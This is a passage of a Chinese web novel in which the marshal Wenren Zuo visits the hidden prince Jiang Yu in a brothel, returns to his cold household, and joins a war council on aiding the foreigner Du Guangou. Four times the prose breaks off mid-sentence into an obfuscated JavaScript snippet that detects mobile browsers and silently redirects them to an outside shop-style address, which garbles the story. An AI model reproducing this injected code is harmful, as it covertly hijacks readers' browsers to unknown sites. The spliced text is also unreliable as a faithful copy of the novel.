说到这里,闻人佐突然想起来另一件事。他放下了粥碗,神情严肃地朝摄文王开口道:“陛下,之前宴会上投毒的事……” “哦,那件事啊。”姜昆维撩了一把厚重的发,神情了然,“人已经找到了,是一个因为税务政策而不满的大臣窜通了一个厨师,现在两人都处死了。” 闻人佐眨眨眼,垂下视线,他感觉到困惑。 听摄文王的说法,投毒的事和燕戎真没有一点关系。难道几天前燕戎真在对杜光欧说谎吗?可他为什么要担这个罪名? 闻人佐没有直说他的疑惑,打算先调查得清楚一些。 这之后,他们离开了地牢。姜昆维没有纠缠闻人佐多久,得到了一定能够想出办法的承诺,姜昆维就还给了闻人佐自由。 闻人佐朝侍者问了日子,得知姜昆维只关了他十天,而不是按一开始说的一个月。 这个摄文王来去像风一样,带着满载的歉意而来,灌给一个并不需要这些歉意的人,再毫不拖沓地走,仿佛认为自身已经没有任何过错可言。 这就是一位王可以施行的便利,他不必在乎闻人佐的想法,只需依照自己的心情办事。 闻人佐已经习惯了。他整理了一番自己的仪容,而后与姜昆维走上了背道而驰的方向。 他的住处不在王庭。每日觐见,他都要花好长的时间从自己的府邸出发,来到王庭,而后再和大臣们一起开早会。 而从王庭向外走的路走起来如此地漫长,闻人佐开始想,是不是这世间的万物都是活得如此艰难,不然,为什么他感觉自己每一步都寸步难行。 他出了王庭,但没有直接回家。已经十天没有见到女儿,想必她在想念他,但比起和亲人团聚,现在的他有更重要的事情要做。 他绕开了自己的府邸,往闹市走去,没有刻意掩盖自己的行踪,就那么光明正大地走进了一家妓院。 这家妓院他经常来,老板是他的熟人。 一个花枝招展的女人在门口侯着,瞧见了他,笑盈盈地迎上来,把他往里面请。闻人佐看了这个女人一眼,发现是个这是一个新面孔,难怪这么热情地招待他。 女人恐怕只当他是一个来寻欢的客人,而不知道他来这里的真实目的。 “阿欢!”这时候,里面传来了女人严厉的喊声。 闻人佐感觉身边的女人猛地蜷缩了一下,她似乎非常地害怕,直往自己的怀里钻。 “离他远点,你知不知道他是谁?!”一个身材壮实的女人从楼梯上缓缓走下来,指着年轻女人的鼻尖,斥责道。 女人抬起头来,几乎是用惹人爱怜的目光看着闻人佐,她依然无骨一般栽在他的怀里,波光粼粼的眼睛很是委屈,好像在期待他为自己撑腰一般。 “别靠着他了,把你那套收一收,别给我惹麻烦!”台阶上居高临下的年长女人道。 闻人佐看向对方的方向,完全没在意当下的闹剧,朝她说道,“神婆,他在哪?” “还是老地方。”神婆说,她看着闻人佐怀里的女人,恶狠狠地说道,“行了,你有完没完了!” 闻人佐没有推开怀里的女人,但他的手臂也没有成为她可以避风的港湾,他更像是一堵坚硬的墙,只是站在那里,不动声色。 年轻女子愤愤地锤了一下他的胸口,闻人佐莫名其妙地看她,然而,他却得到了一个女人哭泣着跑远的背影。 神婆终于缓慢地走到了台阶的底部,不忘对远去的女人训斥道:“你要是再这样,别怪我把你雪藏起来,再也不让你在门前迎客了!” 闻人佐对这一幕没表达什么看法,他没什么好说的。 神婆扭动有些圆滚的身体,来到门前的红木桌旁,戴上眼镜,翻着上面一个本子,一边对闻人佐道:“需要我把他叫出来,还是你进去找他?” 闻人佐道:“神婆,你忙你的事,我自己去找他。” “行。”神婆瞅了他一眼,目光狐疑,问道,“你的脸这是怎么了,叫人打了?” 闻人佐抹了一把自己的脸,想起来十天前在牢狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438272|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的遭遇。他偏过头去,说道:“没什么,小伤。” “啧啧啧。”神婆意义不明地啧嘴,摇摇头。 闻人佐离开前台,从容地走进了后院。 他要去见一个人,一个身份尊贵的人。 那人已经在妓院住了五年了,自从姜家惨剧发生之后,他再没有离开这里。 他就是姜雨,先王姜阳最小的儿子,当今摄文王的胞弟,五年前惨剧中除了姜昆维以外唯一的幸存者。 但是,姜雨还活着这件事,只有闻人佐和少数人知道,他们甚至连姜昆维都瞒住了,只为了保护先王所剩不多的血脉。 妓院的后院是一个露天的庭子,穿过这里,再往里走,才是闻人佐真正要去的地方。 后院虽然并不隐蔽,却也是客人们的游乐场。这是片公开的宣淫场所,在一个个藤蔓编制的镂空吊篮里,交叠的身影不知廉耻,大方地展露给每一个过客。 闻人佐目不斜视地经过,一路上都感到有好奇的视线打量自己,但他不为所动,只管走自己的路。 “我是不是看错了,那个人……是大元帅吧?”一个男人说道。 他怀中的女人嗔怪道:“您喝多了,大元帅来我们这种地方干什么?” “那就是大元帅!哎哟,坏坯子,你还想骗我。”男人扑回竹吊篮里,引得里面的人儿花枝烂颤地笑。 这幅场景本该发生在深闺之中,但这家妓院的风格最初便是如此,专门提供了这么一块场地,以供那些偏爱袒露的客人消遣。 他对这些没什么好说的,这是神婆的营生,是她的招揽客户的招牌,他没有评判或插嘴的立场。 毕竟,神婆和她背后的组织这些年间帮了他很大的忙。 闻人佐离开后院的时候,依然能够听到那个露天庭院里传来的不绝的呻|吟声,它们来自于不同的男人女人。 后院的更深处是个小型的宅院,四周是房,中间是院。院中央有一口井,井口旁,有一个半大不大的孩子模样的人坐在一把三条腿的矮凳上,手里捏着一本书,在隐隐约约的吟哦声中专注地读着。 那正是先王的末子,姜雨。 闻人佐走了过去,站在一旁,和他一起看那书上密密麻麻的字。那孩子模样的人抬起头,声音却比他的脸成熟多了,“佐叔,你来了,你——” 对方的声音戛然而止,目光上下游移,将闻人佐全身看了遍。他皱起了眉头,将书放在一旁,忧虑且不解地看着闻人佐,“这是怎么了?脸破了,衣服也脏兮兮的……” 闻人佐想起来,离开地牢之后,他只是随便打理了一下仪容就来了妓院,自己的狼狈显然已经叫姜雨看进了眼中,“没什么。您在读什么书?” “……讲述一段有关地下文明历史的书。”姜雨回答道。但很快,他的注意力又回到了闻人佐的身体上,他小心翼翼地问,“你的脸是不是……是不是哥打的?” 140. 妓院风流2 闻人佐给他比了一个噤声的手势,拿起他放在井口上的书,带他去往最近的一间屋子里,“亏您在这种地方也能看进去书。” “我习惯了。”对方如此回答。 他们来到了姜雨的房间,屋子里的物品排放整理,窗台旁摆放着几盆植物和稀奇古怪的小物件。这里充满了生活的气息,干净、整洁,和一墙之隔的后院里迷乱的景象有着天差地别。 姜雨打开了镶着毛玻璃的窗,让阳光更直接地照进来,有些光粒撒在他金色的发上,将他的面庞衬得更加白皙。他的样貌看上去十分的稚嫩,只看外表的话,会觉得他只有十四五岁左右,然而,他今年已经二十岁了。 那些旧日的创伤摧毁了他的身体,让它的一部分停止了生长。他胸口有一道又长又丑陋的疤痕,一直延伸到脖子,像有人一度拿砍刀切开了他的身体。姜雨经常戴着围巾,就是为了遮掩脖颈上触目惊心的伤痕。 闻人佐在五年前的惨剧上将他救了下来,而后,抹去了他依然活着的所有证据,将他送进了这绝对安全的地方,以防刺客联盟对姜家后人的进一步残害。 虽然妓院不能给姜雨提供多么正规的生长环境,但是,这总比外界处处危机要好多了。在死亡的威胁面前,就连臭水沟都显得那么安适。 闻人佐时不时来探望他,确保他在这里的生活无虞,有时候,他会给他带些吃的用的过来,但是,因为这次来得匆忙,自己什么也没拿。 得到了闽派刺客有了行动的消息,加之宴会上发生了投毒事件,让闻人佐有些担心姜雨的安危,于是他来了,没有什么更多的理由。 姜雨将书放在床头上,给闻人佐搬来一张柔软的、带着毛皮靠垫的凳子,他在自己的床铺上坐下,盯着闻人佐犹豫了半晌,还是开口道:“佐叔,你不能再让哥这样下去了。” 闻人佐理了理自己粗硬的鬓发,掩盖住脸上的淤肿,“这次是我的不对。” “那也不是他这么对你的理由。”姜雨如是说,他往床头上一靠,双手抱在身前,“爸在的时候,他就喜欢打人,我们都被他揍过。本以为,他当上了摄文王就能收敛点,却没想到变本加厉了。” 闻人佐想了想,道:“他不怎么打人,性格已经比以前温和许多了。” “是,他只是盯着你打,佐叔。”姜雨说道。 “别那么叫我,乱辈分了。”闻人佐提醒。 “你是爸的兄弟,哥也应该叫你一声叔。”姜雨道, “和先王称兄道弟,那只是小时候他跟我开玩笑,不能算数。何况,陛下年纪比我大,这么叫岂不是乱套了。”闻人佐耐心地说。面对姜雨,他总觉得自己可能是把他当成了一个需要谆谆诱导的孩子,尽管这个孩子已经二十岁了。 “我不管,等哪天我能出去了,我就在他面前叫你叔,他得知道应该对你放尊重点。” 闻人佐一笑,摇摇头,没说什么。 姜雨噗通一声倒在自己的床上,半晌,他复又坐起来,到柜子上取了两个杯子,又从床下掏出一个泥瓦罐,打开塞子,一股清甜酒味传了出来,让人想到一种冰酿的佳肴。姜雨给两个杯子斟上了酒,道,“别跟姐姐们说啊,她们不让我喝酒。” “我也不让您喝酒。”闻人佐没什么威慑力地提醒他。 “你管不着我。”姜雨笑嘻嘻地说,他把酒杯递过去,然而动作一滞,“呃,你身上有伤,能喝吧?” 闻人佐接了过来,“没什么不能的。” 姜雨和他碰杯,一杯下肚,年轻人盯着空酒杯,似乎肚子里有的话。良久,他用那与稚嫩外表十分矛盾的沉着声线说道:“佐叔,虽然妓院里的姐姐们很好,但我还是想离开这里。” 闻人佐何尝不能理解姜雨的心情,一直被困在这一亩三分地之中,看不到外界的风景,只能通过别人的三五闲谈了解外面的事情,长时间下去,是个人都会感觉到压抑,“当年行刺的闽派还未被清除,在完全消灭他们之前,殿下还是留在这里为好。” “你不要给自己这么大压力。”姜雨说,那张稚嫩的脸上露出成熟凝重的表情,闻人佐仿佛能够在他身上看见那个白发苍苍、仁慈博爱的先王的影子,“不是说一定要你找到当年的凶手,五年过去,你已经出兵剿灭了刺客联盟,他们的老家已经被你粉碎,闽派也支离破碎,成不了什么气候。” 闻人佐道:“……您很想离开这里吗?” 姜雨沉默了片刻,说道:“想。” 闻人佐低下头去,猛地灌了一口酒。就像自己的孩子提出了一个真挚的渴望,他作为能够实现他愿望的人,此刻,比所有的人都要纠结。一面是姜雨的安危,一面是他内心的渴望。闻人佐仅仅只有一个孩子,却已经体会到了为一个家庭中年轻生命操忙的苦累。 “那这样的话……”闻人佐斟酌着言辞,“等解决了手头上的事,我会和陛下说您的事,将您恭迎回王庭。” 姜雨的眼睛亮起来,里面有种直击心灵的闪烁,“真的吗?” “但我有条件。”闻人佐道。 姜雨问道,“什么条件?” 以姜雨的身份,他的任何想法都应该得到实现。闻人佐作为一个元帅,并没有和王族讨价还价的余地,但是,姜雨却愿意和他有来有往,或许是因为这个年轻人还没有高居于王座之上,所以没有开始无视别人的想法,又或许,他无论成为了多么位高权重之人,也永远不会失去一颗同理他人的心。 姜雨愿意听闻人佐说什么,愿意听他真实的意见,愿意知道他究竟是怎么想的,愿意在意见相悖的时候考虑闻人佐的立场。这是他和姜昆维最大的不同之处。 闻人佐提出了他的要求,“如果殿下要暴露身份,出现在所有人的视野之中,那我便辞去大元帅一职,成为您的护卫。” “什么、这完全是大材小用—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451420|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “听我说完。”闻人佐打断道,“我无法同时顾及你们兄弟二人,我已经……三番五次没能尽护卫之职,或许我天生不擅长这种事。正因能力有限,才必须有选择性地做事。” “你不用管我。”姜雨道。 “您知道那不可能,殿下。” “佐叔——” 闻人佐言辞坚决,打断他,“我在您面前已经说过来太多次大话,什么要保证您的安危,守护姜家的血脉。如果您和陛下中哪一个再出了什么事,不用王庭里那些元老大臣的声音压垮我,我就会再也抬不起头来,心脏流血爆裂而死。” 姜雨哑然,他低下头去,摩挲着酒杯,半晌后,问道,“……消灭闽派,还需要多久?” 闻人佐收拾了一下情绪,说道:“很快。我一直在派人打探踪迹,最近已经有消息了。” 姜雨顿了顿,他微垂着眼睛,像是暗中做了什么决定,“那我等你,佐叔。” 闻人佐抬起头来,有些意外的看着对方,“您愿意……” “不就是和姐姐们再多待上一段日子。”姜雨又坚朗地笑起来,拿起床头上的书,晃了晃它,“我这本书还没看完,而且你上次又新给我拿来了一堆。我把那些书都看完的时候,应该就差不多了吧?” 闻人佐作出承诺,“一定会,殿下,那时我会亲自恭迎您出去。” 又待了一阵子,闻人佐离开了姜雨所在的庭院。再度经过了那个充满了糜烂气息的露天后院,他回到了前庭。 神婆坐在前台的木桌后面,戴着一副眼睛,认真地清点着些什么。 闻人佐走过去,神婆看到他,朝他扬扬头,“事情说完了?” 闻人佐靠在柜台旁,一直胳膊拄在台面上,他看了眼四周,有几个新来的好奇面孔在打量他,而那些熟知的老面孔只是朝他带着笑点头,继续忙自己的事情。 “神婆,我想请你帮调查两件事。”闻人佐压低了声音,说道。 神婆拉开眼镜,仿佛只有这样,她才能看清柜台前的男人一般,“哟,好久没听到你要我帮忙了。怎么了,发生什么了?” “我最近收到了闽派的动向,想请你我多留意摄文有没有符合长相的人。”闻人佐倾身,以只有两人能够听见的声音说道,“他们大部分人身形高大,手脚纤长,皮肤犹如白雪,身体上刻有黑蛇纹。大多眉眼深邃,脸似刀削,金发,有几人的眼睛是少见的淡金色。” 神婆拿着笔,唰唰在萱纸写着些什么,“旭雨和小雀最近回摄文了,我让她们去查。” 闻人佐听说过这两个名字,这两人隶属于逝露阁,它是神婆背后操盘的组织,其全由女人构成,个个身怀绝技,这些年闻人佐受了她们不少帮助。 “还有,我想请你帮我调查一个人。”闻人佐从神婆的萱纸上撕下了一小条,借了笔,在那上面写了一个名字—— 杜光欧。 141. 妓院风流3 之所以想调查这个人,是因为在他身边发生的事都太怪异了。闻人佐对这个血皑来的王室毫无所知,在进一步与对方有任何接触之前,他想先调查清除对方的背景。 神婆拿起闻人佐写好的纸条,举在空中,皱眉盯着它,念道:“杜——” “神婆。”闻人佐出声盖住了她,将对方的手腕压下来,“有没有可能,我写在纸上,就是因为这个名字不能开口说。” “诶呀,哈哈,我吓唬你的。”神婆将那张纸收了起来,塞进她看上去像是无底洞一般的内裳口袋里,“这里没人听见,放心吧。不过,这个名字看着眼熟,是不是前些天刚来的那个?” “对,他从血皑来。”闻人佐道,他和神婆凑得极近,两人嘀嘀咕咕像在密谋什么大事一般。妓院的消息传得很快,闻人佐丝毫不意外神婆已经知道杜光欧到访摄文的事,“我想知道的是,他来这里的目的究竟是什么,是不是和他表面说的一样。” “噢,你不太相信他?”神婆推测道。 “倒也不是……只是有其他在意的事情。” 神婆没继续追问,伸出两根手指点了点空气,那是她用来表示没问题的手势,“这件事交给我。” 闻人佐直起了身子,拍了拍桌面,审慎地看着一圈周围,而后,他用让在场的、和外面的街道上的人都能听见的声音,故意有些犯浑地说道:“十天后,我想见到这个女人。” “你可真是一刻也等不及啊。”神婆似乎完全理解了他做戏的用意,和他一起演了起来,回答道,“不过,对我来说,绰绰有余。” 闻人佐离开了妓院,走出门的时候,刚巧一伙人散去,丝毫不用怀疑,那些人刚才肯定在对他议论纷纷。他已经习惯了,不如说这样更好,让人们以为他来妓院只是为了消遣,这样才能将他到来的真实意图掩埋。 自被摄文王关进监狱以来,他已经好些日子没有回家了,心里惦记着女儿,出了妓院便当即打道回府。 来到了大元帅的府邸,大门敞着,一个侍者站在门口东张西望。他看见闻人佐,脸上顿时欣喜起来,迎上来道:“大人,今早就听说您要回来,您可算出现了!您不在的这些日子,夫人和老爷天天念叨着您!” 侍者恭敬地将闻人佐迎进了门,这才将府邸的大门关上。 闻人佐站在庭院里,望着眼前熟悉的景色。前庭有些破败,两个迎宾树已经很久没有打理过了,房檐下挂着的灯笼是前年的,上面已经落了一层灰。 遥想五年之前,家里并不是这样一番景象。 先王姜阳还在世的时候,父亲闻人空烛担任驻城将军,那时候,闻人家的府邸可谓是访客络绎不绝。 往来人多,家里的侍者总是忙个不停,闻人佐的妻子倪宝娇为尽待客之仪,一天到晚也是往来奔赴停不下来。每日都有外人拜访,她就安排人点燃蜡烛,彻夜不熄,见人总是要衣装体面,于是家里常进华服丽裳、琳琅巧饰。她也乐得做这些事,那时的府上总是十分热闹。 可是现在,那些服饰已经被倪宝娇放进深阁,她也已经很久没有去买过蜡了。 就在闻人佐站在庭院里回忆时,一连串叫声打断了他的思绪。 “爸爸!是爸爸!”闻人芹提着一个半飞不飞的风筝,从后院出现,向闻人佐跑来。她身后面跟着一个成年人的身影,那是闻人佐的妻子倪宝娇。 闻人芹扑了过来,闻人佐稳稳地接住她,将她抱起来。闻人芹摸着爸爸的脸,然而,原本欢欣的小脸却突然耷拉了下去,“爸爸,你的脸肿了。” 闻人佐问她:“爸爸的样子很难看吗?” 闻人芹摇摇头,“不难看。但是我不开心。” “只要小芹多陪陪爸爸,这些痕迹很快就会消下去的。” 闻人芹点头:“好。” 这时候,缓缓跟来的倪宝娇来到了他们父女二人的身边,闻人佐向她看过去,只见女人面上没有什么欣喜的表情。她从几年前开始,渐渐变得沉默寡言,像是总有繁重的心事,却不再对他诉说。 倪宝娇说道:“听说你要回来,我特意叫侍者做了饭,我们已经吃过了,你也去吃点吧。” “谢谢,夫人。”他如是说,礼貌得不像是对待一个认识了十年的妻子。 他抱着闻人芹向饭厅走,女孩抱着爸爸的脖子,似乎怎么也不愿意松开。 饭桌上摆了一桌热腾腾的菜,闻人佐坐下来,将女儿放在自己身边。闻人芹像是没吃饱饭一样,还要加入这一场饭局,而倪宝娇阻止了她,说她这一天已经吃了太多,再吃就要变成一个小胖子了。 闻人佐听了,一边给自己女儿的碗里夹菜,一边说道:“小孩子想吃,就让她吃点。” 一旁,倪宝娇没有听从他的吩咐,她抱起闻人芹,以免她蠢蠢欲动的小手摸到饭桌,“这才下午,她已经吃了三顿饭了,女孩子得有点女孩子的样子,长得太胖会叫人笑话的。” 闻人佐听着她这番话,觉得有些不是滋味,但他说不上来哪里让他觉得别扭。不想和夫人起什么争执,于是乎,他改变了说话的对象,对闻人芹说道:“小芹,你饿吗?” 闻人芹回答他:“很饿!” 倪宝娇依然抱着她,不让她去碰食物,“你这些天吃得太多,把胃都撑大了,只有饿你两顿,胃才会变小。” 闻人芹可怜巴巴地抬起头,盯着自己的母亲,“可是我饿嘛,妈妈。” 倪宝娇柔声地训斥,“忍着,小芹。” 闻人佐没说什么,只是将自己碗里的肉挑了块出来,放在一个空碟子里,然后推给闻人芹。闻人芹见了,眼睛都亮了起来,伸手把那碟子抓了过来,开始用她不大的嘴巴吧唧吧唧啃那块肉。 倪宝娇皱了皱眉,她看着闻人佐,无声地质问着他,但是,男人没有看自己的妻子。两人就像这么多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466820|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们习惯的那样,双双沉默了。 这时候,一旁的侧门打开了,走进来一个年纪稍大的男人,那是闻人佐的父亲,曾经的驻城将军,闻人空烛。 他走过来,热情地抱住自己的儿子,使劲摇晃他,“臭小子,这阵子去哪了,连个信都没有!” 闻人佐背对着父亲,抱住饭碗,以免它扣在地上,“爸,我吃饭呢。” “哎呀。”闻人空烛一下子扳过来儿子的脸,仔细打量着,“这是怎么了,我儿被谁打了?” 闻人佐晃了一下脑袋,从父亲的手掌里挣脱出来。他显然不能把摄文王的名号说出来,于是道:“摔了一跤。” “我看你是去打架了吧。”闻人空烛眯起眼睛,“和谁呀,哪家这么嚣张?” 闻人佐说:“没有这种事。” 闻人空烛不依不饶,“儿啊,你把名字告诉我,我去告诉摄文王,不能让你白白——” “爸。”闻人佐打断他。 就是他打的。这话险些就从嘴里说出来了。闻人佐用一口汤堵住自己的嘴,道:“这一桌子饭我一个人吃不了。” 听到这里,闻人空烛一屁股在旁边坐下来,伸手就摸走了碟里最大块的肉。 倪宝娇去给他们取水,而失去了她的管制,女孩回到了父亲的怀里,吃得更加地放肆了。 “儿啊,你要是受了什么委屈,一定要说出来。”闻人空烛说道,“你大了,能自己拿主意了,但是,你也需要个替你排忧解难的人,不能老是自己憋着。” 他已经四十二岁了。闻人佐心想。没有什么事情是不能自己消化的。在家里人面前,他能透露的事情少之又少,他不希望将他们也引入风波之中。 更何况,他已经和姜雨聊过摄文王和闽派的事,心中的郁结也解开了些。有些话说了第一遍,就没有了再说第二遍的欲望。 这顿饭的后半场,闻人佐就身上的伤痕保持着缄口不言,几人只是聊了聊最近的生活琐事,比如闻人芹在学堂上遇到的难题,闻人空烛的酒友又出了什么糗,或者即将到来的立国仪式将是怎样的。 唯独,倪宝娇在一旁听着,没有提及有关自己的哪怕一句话。不知何时开始,闻人佐也习惯了她的沉默。 闻人空烛问:“立国定在什么时候啊?” 闻人佐回答道:“陛下还没有想好” 闻人空烛倒是有些意外,“已经这个时候啦,他还没定下来吗?” 闻人佐道:“陛下在等待。” 闻人空烛问:“等什么?” 闻人佐停顿了一瞬间。“他在等我”,这句话在他的腹腔徘徊。 姜昆维在等闻人佐剿灭闽派,这是他们之间的承诺,在立国的那一刻,也是闻人佐洗刷过去耻辱的那天,他必须向世人证明,当年的事情已经告一段落。而他作为摄文的大元帅,从今以后,依然能有资格成为这个国家的军事最高领导人。 142. 军事会议1 这是姜昆维给他的期限,摄文王要求他必须在的立国之前解决这件事。而要在立国仪式上为闻人佐正名,也是这个摄文王的主意。闻人佐自己其实对这件事没有什么想法,正名也好,不正名也罢,他只在乎当年的血海深仇能否得报。 后来,可能是因为那些关于立国的话题实在是过于无趣,闻人芹便在大人们的聊天中打起了瞌睡。 倪宝娇见女儿困了,就要带她回房睡觉。闻人佐见状,也跟了上去,看着倪宝娇把熟睡的女儿送进房间里,安放在她的小床上。 夫妻俩站在门口,就那么静静地看着熟睡的女儿,一阵过后,倪宝娇关上了房间门,而那张安详的睡颜也消失在了闻人佐的视野里。 吃完了饭,正是打盹的时候,闻人空烛打着哈欠离开了饭桌,当闻人佐和倪宝娇回来的时候,老人的身影刚好离去。 当下,饭厅只剩下了他和倪宝娇两人。闻人佐看着自己的夫人,后者像是当他不存在一般,招呼侍者收拾桌上的残局。 “宝娇。”闻人佐喊道。 倪宝娇停下了忙碌的动作,立在原地。她没有转过身来,便那么侧着头,听自己的丈夫要说些什么。 实际上,闻人佐也不知道要说什么,他不想把这些天的经过说出来,惹她担心。 她会担心吗?说实话,闻人佐心里没什么底。 五年前的惨剧改变了闻人佐,也改变了这个家。 从什么时候开始,倪宝娇不再对他笑了? 从什么时候开始,如果不是自己亲口提及,倪宝娇便对他的事情不再过问。 他想,或许是从他决定为姜家复仇开始。那是他一人的职责,他在这件事上投注了所有的精力,不再有时间去关心身边的人。 他走过去,将夫人搂在怀里,他没有感受到抗拒,也没有感受到顺从,倪宝娇只是站在那里,任他怎么做都行。 这时,倪宝娇轻轻地说道:“我听说,你又去了那个地方。” 闻人佐想了想,他大概知道了她说的是哪里。他沉默了半晌,没有找到解释的借口。 去妓院那种地方,还需要什么解释?他总不能实话说,说自己是为了去看望先王的子嗣。他不希望这个自己曾经爱过的女人得知真相,和他陷入同样的深渊。 他瞒过了刺客的眼睛,才得以让姜雨安然存活。但与此同时,他也瞒过了自己的妻子。 或许,现在他怀里抱着的人无比地厌恶他,认为他滥情、无药可救。 “这些天,你一直都待在那里?”倪宝娇问他。 闻人佐顿了顿,闷闷地开口,撒谎道:“嗯。” 倪宝娇的头颅转了回去,给自己的丈夫留下一个淡漠的侧影,“如果你还在乎女儿的话,就少去些,多陪陪她,她一个月里也见不到你几次。” 倪宝娇挣脱了他的怀抱。得知他一直待在妓院的时候,她没有挣脱,说起女儿的时候,她却是毫不留情地走了。显然,她更在乎女儿,只有涉及到闻人芹的时候,她才会生气。而对于闻人佐,她或许已经麻木地不在意了。 “夫人。”闻人佐对那个背影喊着,记忆里,那个会朝他盈盈笑着的女人已经不在了,他们现在像是两个陌生人一般,仅有的生活交集便是闻人芹,“今天的菜很好吃。” 倪宝娇继续往前走,淡淡地留下一句话,“那不是我做的。” 闻人佐站在原地,身影有些他自己觉察不出的落寞。 这时,他在想,或许许多年前,他不应该娶这个他最爱的女人。五年前,当他因失职而被送上行刑台时,倪宝娇说什么也要和他一同赴死,那个时候他就已经开始后悔了。 他漫眼都是对自己的悔恨,不应把最爱的人牵扯进来。 所以后来,闻人佐任他们的感情在柴米油盐中消磨,又在更痛苦的折磨中烧尽。 这样就好。他想。这样就好。 闻人佐坐在自己房间的椅子上,他不习惯待在床上,那种下陷的感觉让他窒息,仿佛有什么东西在吞噬他的身体,要将他拉进无底的深渊。 闭上眼睛,他开始凝神思考。 关于他的家庭,关于他的仇怨,关于那个远道而来的血皑人,关于今天离开地牢时姜昆维的嘱托。 坐在大无帅的位置上,有许多事情等待他去决策,即便他不再被人信任,但姜昆维依然对他有所期待。起码,他不能辜负他。 家里的事先放下,更重要的是眼下的问题。 姜昆维叫他想办法,意思明显是要帮那个血皑人回到原有的位置上去。说实话,闻人佐觉得摄文王这个步子迈得有点大,且不说血皑离摄文有多远、他们的军事力量如何,连要怎么让大军穿越白鸣谷,还都是百年来没有解决的问题。 在兵权还没有被剥夺时,他和甾染的燕家人在白鸣谷打了很久,那条谷道有多么难以穿越,他比谁都清楚。而且,听说黎军已经占领了甾染,这代表,如果战争要在白鸣谷展开的话,黎军的供给线几乎可以短到忽略不计。 正因如此,他们如果要和黎军交锋,战场就一定不能选择在白鸣谷,那里对于北部的他们来说没有任何的优势可言。 所以,他们只有一个办法。如果姜昆维真的铁了心要援助杜光欧的话,那就必须找到另一条能够穿越横古山脉、抵达南陆的通道。 ## 明日如期而至。 闻人佐离开府邸,独自前往军议大厅。 那是一间阴森的偌大厅堂,中间摆着一个圆桌,火烛的位置离圆桌很远。桌子上立着一个代表着摄文的旗帜,旗帜之上夹杂着军方的标识。 大厅中,摄文王直率的金卫站在非常远的地方,像一根根人形的立柱,几乎与阴暗的墙壁融为了一体。 姜昆维坐在主位之上,看到闻人佐来了,向他招了抬手,让大元帅落座。 闻人佐坐在了摄文王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483859|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面,他左手边是束延将军和驻城将军,右手边是平缈将军和戊边将军的代理人,后面两位将军当下不在摄文。 几人的面前没有茶杯,没有装着小食的食品盘子,也没有任何的装饰,这是一场严肃的会谈。 第一个开头说话的是坐在主位上的人,他金色的发即使是在暗淡的大厅中依然熠熠生辉,“今天叫大家来,是有件非常重要的事情,想听听大家的意见。” 姜昆维一只手搭在桌沿上,轻轻地点着,“我有一位从血皑远道而来而贵客,他遇到了一点小麻烦,城市被其继母篡权,而他希望我们能为他夺回属于他的权力。我已经决定了帮助他,所以,各位将军,希望你们能给我一个方案,让摄文以最小的代价,以最快的速度,帮助我的朋友夺回属于他的东西。” 他说完,平静的视线落在了闻人佐的身上,那是什么意思,和摄文王相处已久的闻人佐不会不清楚。他清了清嗓子,将军们的视线聚集了过来,“据我们所知,杜光欧的继母黎礼已经全权取代了杜家在血皑的位置。那之后,不过两个月的时间,她再率大军向北进发,攻占了甾染,并在不久之前,宣布那里已然成为她的领土。” 闻人佐说完,将军们发出不小的惊叹声,其中,年纪最小的驻城将军道:“甾染……那不是离白鸣谷非常近?” 闻人佐道:“是的,驻城将军。虽然还不清楚黎军下一步的动向,但不能排除他们进攻白鸣谷的可能性。” 年轻的驻城将军又道:“白鸣谷挺立了数百年,即便是传说中黄王的先民都没有战胜这个峡谷,黎军想必也无法通过吧。” “这不是问题所在。”带着唇钉的束延将军突然说,他的头发很短,是脏兮兮的暗金色,整个人不修边幅,在摄文王的眼皮子底下懒散地坐着,“问题是,我从前可从来没听说什么血皑的杜光欧,要是我们帮了他,他反咬我们一口怎么办。陛下,这个人可信吗?” 姜昆维并没有因为将军们的质疑而感到不悦,他说道:“我相信不远前来的朋友的诚意,他向我承诺,在他顺利回到血皑之后,第一件事就是拆除甾染,两边再也互不相犯。” 